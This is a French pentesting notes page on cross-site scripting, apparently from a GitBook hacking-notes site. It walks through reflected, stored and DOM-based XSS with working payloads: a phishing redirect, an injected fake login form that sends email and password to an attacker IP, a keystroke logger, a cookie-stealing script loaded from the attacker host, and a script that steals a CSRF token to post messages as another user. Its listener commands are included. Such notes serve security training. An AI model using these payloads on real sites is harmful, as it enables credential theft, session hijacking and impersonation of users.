> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md).

# Techniques XSS

## XSS (réfléchie) :

> Réfléchie : Ce type de XSS se produit lorsque des données fournies par l'utilisateur sont renvoyées dans la réponse HTTP sans validation appropriée. Cela permet à un attaquant d'injecter du code malveillant dans la réponse, qui est ensuite exécuté dans le navigateur de l'utilisateur.

* Dans ce cas, nous pouvons injecter du code HTML comme dans l'exemple ci-dessous : `test <h1> Test </h1>`:

<figure><img src="/files/fc0c487548541e4ab4427d42a236840d40a787a3" alt="" width="563"><figcaption></figcaption></figure>

* Nous pouvons voir que nous avons pu modifier la taille du texte avec **h1** balise :

<figure><img src="/files/219db16e0cdf03db90a72e22556bddbf597bfbd2" alt="" width="375"><figcaption></figcaption></figure>

## XSS (stockée) :

> Stockée : Ce type de XSS se produit lorsqu'un attaquant peut stocker du code malveillant dans une base de données ou sur le serveur web hébergeant une page vulnérable. Ce code est exécuté à chaque chargement de la page. Si nous lançons un script comme celui ci-dessous dans un formulaire, `<script>alert("XSS")</script>`, et obtenons l'alerte ci-dessous, cela signifie que le site web est vulnérable à ce type d'attaque :

<figure><img src="/files/1e26a47675c7eef8daddd7765359c9067183d654" alt="" width="563"><figcaption></figcaption></figure>

Nous pourrions rediriger l'utilisateur vers un site web vulnérable et mener une attaque de phishing :

```javascript
<script>
window.location.href = "https://maliciouswebsite.com";
</script>

```

Ce code JavaScript crée un formulaire de connexion sur une page web et envoie les données saisies (adresse e-mail et mot de passe) à une adresse IP spécifiée via une requête HTTP à l'aide de `fetch()`.

```javascript
<div id="formContainer">
<script>
    var email;
    var password;
    var form = '<form>' +
    'Email: <input type="email" id="email" required>' +
    ' Mot de passe : <input type="password" id="password" required>'+
    '<input type="button" onclick="submitForm()" value="Submit">' +
    '</form>';
    document.getElementById("formContainer").innerHTML = form;
    function submitForm() {
        email = document.getElementById("email").value;
        password = document.getElementById("password").value;
        fetch("http://192.168.71.128/?email=" + email + "&password=" + password);
    }
</script>

```

<figure><img src="/files/62831621623b6d0b84d371b88e0edfa5652891ba" alt="" width="563"><figcaption></figcaption></figure>

Nous écoutons sur le port 80 avec **python3**:

```bash
python3 -m http.server 80

```

<figure><img src="/files/a57abc33430273516bf22a4e22f1b50b8d392a41" alt=""><figcaption></figcaption></figure>

## XSS (basée sur le DOM) :

> Basée sur le DOM : Ce type de XSS se produit lorsque le code malveillant s'exécute dans le navigateur de l'utilisateur via le DOM (Document Object Model). Cela se produit lorsque le code JavaScript d'une page web modifie le DOM d'une manière vulnérable à l'injection de code malveillant. Le script ci-dessous peut capturer toutes les frappes au clavier de l'utilisateur et les envoyer à un **python3** serveur sur le port 80 :

```javascript
<script>
	var k = "";
	document.onkeypress = function(e){
		e = e || window.event;
		k += e.key;
		var i = new Image();
		i.src = "http://192.168.71.128/" + k;
	}
</script>

```

Nous pouvons écouter en filtrant uniquement les caractères qui nous intéressent avec **grep**:

```bash
python3 -m http.server 80 2>&1 | grep -oP 'GET //K[^.*/s]+' | sed 's/%20//g'

```

<figure><img src="/files/a54842e47bcc5d488315b1811cb5f9bfbfc007fd" alt=""><figcaption></figcaption></figure>

***

Pour obtenir le cookie de session d'un serveur tiers, nous créons ce fichier sur notre ordinateur **test.js**

```javascript
var query = new XMLHttpRequest();
query.open('GET', 'http://192.168.71.128/?cookie=' + document.cookie);
query.send();

```

Dans le formulaire, nous envoyons ce script :

```html
<script src="http://192.168.71.128/test.js"></script>

```

Nous écoutons et obtenons le cookie de session de l'utilisateur :

<figure><img src="/files/fd9b92955d8f7da175163d5cc08ab5452e111c45" alt=""><figcaption></figcaption></figure>

Pour écrire quelque chose au nom d'une autre personne, nous pourrions suivre les étapes ci-dessous : Interceptez la requête avec [Burp Suite](/fr/hacking-tools/web/burpsuite.md) et copiez le contenu mis en évidence en rouge :

<figure><img src="/files/6d4c1b9f085a3521734de7267cb86ddfb1929c85" alt="" width="563"><figcaption></figcaption></figure>

Le script ci-dessous effectue une **GET** requête vers une URL locale, analyse la réponse HTML pour identifier un **CSRF** jeton, puis effectue une requête POST avec des données qui incluent le jeton CSRF vers la même URL. Le `données` variable encodée en URL envoie les informations au serveur où ce script est implémenté. Il est essentiel de modifier les `données` valeurs, le jeton et l'adresse IP.

```javascript
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/htmthe );
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=My%20boss%20is%20a%20bastard%21%21&subtitle=I%20hate%20my%20job&text=you%20make%20me%20SICK%0A&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);

```

Dans le formulaire, nous envoyons ce script :

```javascript
<script src="http://192.168.71.128/pwned.js"><script>

```

Nous écoutons sur le port 80 avec python3 :

<figure><img src="/files/0e120fae98b1c22994782c0fe3c8ac06775cc72b" alt=""><figcaption></figcaption></figure>

Le message **envoyé au nom d'un autre utilisateur** a été transmis :

<figure><img src="/files/efe69695c6c49dc13b8bd1983a23da9f31d8e20a" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
